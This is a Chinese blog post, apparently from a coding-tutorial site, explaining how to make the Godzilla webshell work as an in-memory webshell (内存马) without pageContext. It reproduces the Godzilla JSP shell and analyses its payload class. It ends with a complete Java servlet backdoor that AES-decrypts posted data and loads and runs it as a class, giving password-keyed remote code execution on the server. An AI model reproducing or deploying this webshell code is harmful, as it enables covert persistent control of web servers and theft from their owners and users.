百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

解决哥斯拉内存马pagecontext的问题

toyiye 2024-08-22 23:06 5 浏览 0 评论

前言

注入内存马借助当前的webshell工具而言,冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决

HttpSession session = lastRequest.getSession();pageContext.put("request", lastRequest);pageContext.put("response", lastResponse);pageContext.put("session", session);

能这么写的原因是因为冰蝎做了处理

会从传入的obj中分别取到request、response、session。

而哥斯拉没有这么做,如何破局?

哥斯拉连接分析

哥斯拉是基于动态加载class字节码实现的webshell工具。

先看一下jsp的shell

<%! String xc = "3c6e0b8a9c15224a"; String pass = "pass"; String md5 = md5(pass + xc);
class X extends ClassLoader { public X(ClassLoader z) { super(z); }
public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } }....省略加密解密的函数....%><% try { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (session.getAttribute("payload") == ) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f=((Class)session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } } catch (Exception e) { }%>

先判断session中payload是否为空,如果为空就用classloader加载解密之后的字节码data。

如果不为空将data赋值到session的parameters参数,然后从session中拿到定义的payload类,创建实例再进行了两次equals和一次tostring,两次equals分别传入ByteArrayOutputStream和pageContext。

通过bp代理看一下“测试连接”的过程

点完测试连接后bp多了两个请求

再点success的确定按钮后又多了一个请求。

一共三个请求,这三个请求分别干了什么?

为了调试,我们需要反编译哥斯拉源码找到godzilla\shells\payloads\java\assets\payload.classs文件,反编译回来后在idea项目中创建一个payload类,将源码粘贴进去。另外还需要关闭idea的自动tostring。

然后修改jsp让其加载我们自己的payload.class而非从session中加载

<% try { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (session.getAttribute("payload") == ) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) Class.forName("payload")).newInstance(); f.equals(arrOut); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } } catch (Exception e) { }%>

payload类结构

payload类是哥斯拉的功能实现类,其中有多个函数比如文件操作、命令执行等功能实现

而入口在equals()函数

handle()是真正的逻辑,noLog是不记录tomcat连接日志的函数。进入handle看下

public boolean handle(Object obj) { if (obj == ) { return false; } else { Class streamClazz = ByteArrayOutputStreamClazz; if (streamClazz == ) { try { streamClazz = Class.forName("java.io.ByteArrayOutputStream"); } catch (ClassNotFoundException var7) { throw new NoClassDefFoundError(var7.getMessage()); }
ByteArrayOutputStreamClazz = streamClazz; }
if (streamClazz.isAssignableFrom(obj.getClass())) { this.outputStream = (ByteArrayOutputStream) obj; return false; } else { if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) { this.servletRequest = obj; } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) { this.servletRequest = obj; } else { streamClazz = byteArrayClazz; if (streamClazz == ) { try { streamClazz = Class.forName("[B"); } catch (ClassNotFoundException var6) { throw new NoClassDefFoundError(var6.getMessage()); }
byteArrayClazz = streamClazz; }
if (streamClazz.isAssignableFrom(obj.getClass())) { this.requestData = (byte[]) obj; } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) { this.httpSession = obj; } }
this.handlePayloadContext(obj); if (this.servletRequest != && this.requestData == ) { Object var10001 = this.servletRequest; Class[] var10003 = new Class[1]; Class var10006 = stringClazz; if (var10006 == ) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(var5.getMessage()); }
stringClazz = var10006; }
var10003[0] = var10006; Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"}); if (retVObject != ) { streamClazz = byteArrayClazz; if (streamClazz == ) { try { streamClazz = Class.forName("[B"); } catch (ClassNotFoundException var4) { throw new NoClassDefFoundError(var4.getMessage()); }
byteArrayClazz = streamClazz; }
if (streamClazz.isAssignableFrom(retVObject.getClass())) { this.requestData = (byte[]) retVObject; } } } return true; } }}

分段来看,第一次equals的时候传入的是ByteArrayOutputStream实例

将其赋值给this.outputStream,this.outputStream是输出流,存储了response内容。

第二段equals的是pagecontext

image.png

先填充request,然后判断是否是session,如果是字节数组则说明是post参数 this.requestData = (byte[]) obj; 如果是HttpSession实例则放入this.httpSession

接着handlePayloadContext()填充request上下文和session

image.png

然后调用session.getAttribute("parameters")拿到requestData

第三段是toString

initSessionMap()初始化一个sessionMap放一些信息,然后formatParameter格式化参数map,然后this.run()

在formatParameter()函数中向参数map中放键值对

image.png

给他打印出来看一看,bp三个请求打印了两个键值对

image.png

第一个请求是加载class字节码的,然后第二个第三个请求时调用字节码功能,通过methodName来调用。接着run()完之后写输出。

那么请求流程就到这里,接下来看如何解决

解决pagecontext

上文讲到,requestData是post body,我们传入pagecontext的目的是为了通过session拿到parameters,那么如果我们抛弃session,直接把parameters通过equals函数传给payload类呢?

image.png

bp第一个请求是加载字节码,我们通过defClass加载进去,然后第二个请求分为四个阶段

1.equals传入ByteArrayOutputStream实例填充outputStream2.equals传递解码之后的data填充requestData3.equals传递HttpServletRequest填充request4.toString写response输出结果

而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext

image.png

完整代码

package com.example.demo3;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;
@WebServlet(name = "helloServlet", value = "/hello")public class HelloServlet extends HttpServlet { String xc = "3c6e0b8a9c15224a"; String pass = "pass"; String md5 = md5(pass + xc); Class payload;
public static String md5(String s) { String ret = ; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; }
public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = ; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", ).invoke(base64, ); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; }
public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = ; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", ).invoke(base64, ); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; }
public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return ; } }
public Class defClass(byte[] classBytes) throws Throwable { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { byte[] data = base64Decode(req.getParameter(pass)); data = x(data, false); if (payload == ) { payload = defClass(data); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(req); resp.getWriter().write(md5.substring(0, 16)); f.toString(); resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); resp.getWriter().write(md5.substring(16)); } } catch (Throwable e) { } }}

文末

其实完整代码还是北辰发我的,我只是探究了一下其原因,这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。

另外自己在写冰蝎内存马的时候遇到了包装类的问题,而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload,而冰蝎是直接把字节码放在了body中。

image.png

只能说哥斯拉yyds!



相关推荐

# Python 3 # Python 3字典Dictionary(1)

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中,格式如...

Python第八课:数据类型中的字典及其函数与方法

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值...

Python中字典详解(python 中字典)

字典是Python中使用键进行索引的重要数据结构。它们是无序的项序列(键值对),这意味着顺序不被保留。键是不可变的。与列表一样,字典的值可以保存异构数据,即整数、浮点、字符串、NaN、布尔值、列表、数...

Python3.9又更新了:dict内置新功能,正式版十月见面

机器之心报道参与:一鸣、JaminPython3.8的热乎劲还没过去,Python就又双叒叕要更新了。近日,3.9版本的第四个alpha版已经开源。从文档中,我们可以看到官方透露的对dic...

Python3 基本数据类型详解(python三种基本数据类型)

文章来源:加米谷大数据Python中的变量不需要声明。每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。在Python中,变量就是变量,它没有类型,我们所说的"类型"是变...

一文掌握Python的字典(python字典用法大全)

字典是Python中最强大、最灵活的内置数据结构之一。它们允许存储键值对,从而实现高效的数据检索、操作和组织。本文深入探讨了字典,涵盖了它们的创建、操作和高级用法,以帮助中级Python开发...

超级完整|Python字典详解(python字典的方法或操作)

一、字典概述01字典的格式Python字典是一种可变容器模型,且可存储任意类型对象,如字符串、数字、元组等其他容器模型。字典的每个键值key=>value对用冒号:分割,每个对之间用逗号,...

Python3.9版本新特性:字典合并操作的详细解读

处于测试阶段的Python3.9版本中有一个新特性:我们在使用Python字典时,将能够编写出更可读、更紧凑的代码啦!Python版本你现在使用哪种版本的Python?3.7分?3.5分?还是2.7...

python 自学,字典3(一些例子)(python字典有哪些基本操作)

例子11;如何批量复制字典里的内容2;如何批量修改字典的内容3;如何批量修改字典里某些指定的内容...

Python3.9中的字典合并和更新,几乎影响了所有Python程序员

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

Python3大字典:《Python3自学速查手册.pdf》限时下载中

最近有人会想了,2022了,想学Python晚不晚,学习python有前途吗?IT行业行业薪资高,发展前景好,是很多求职群里严重的香饽饽,而要进入这个高薪行业,也不是那么轻而易举的,拿信工专业的大学生...

python学习——字典(python字典基本操作)

字典Python的字典数据类型是基于hash散列算法实现的,采用键值对(key:value)的形式,根据key的值计算value的地址,具有非常快的查取和插入速度。但它是无序的,包含的元素个数不限,值...

324页清华教授撰写【Python 3 菜鸟查询手册】火了,小白入门字典

如何入门学习python...

Python3.9中的字典合并和更新,了解一下

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

python3基础之字典(python中字典的基本操作)

字典和列表一样,也是python内置的一种数据结构。字典的结构如下图:列表用中括号[]把元素包起来,而字典是用大括号{}把元素包起来,只不过字典的每一个元素都包含键和值两部分。键和值是一一对应的...

取消回复欢迎 发表评论:

请填写验证码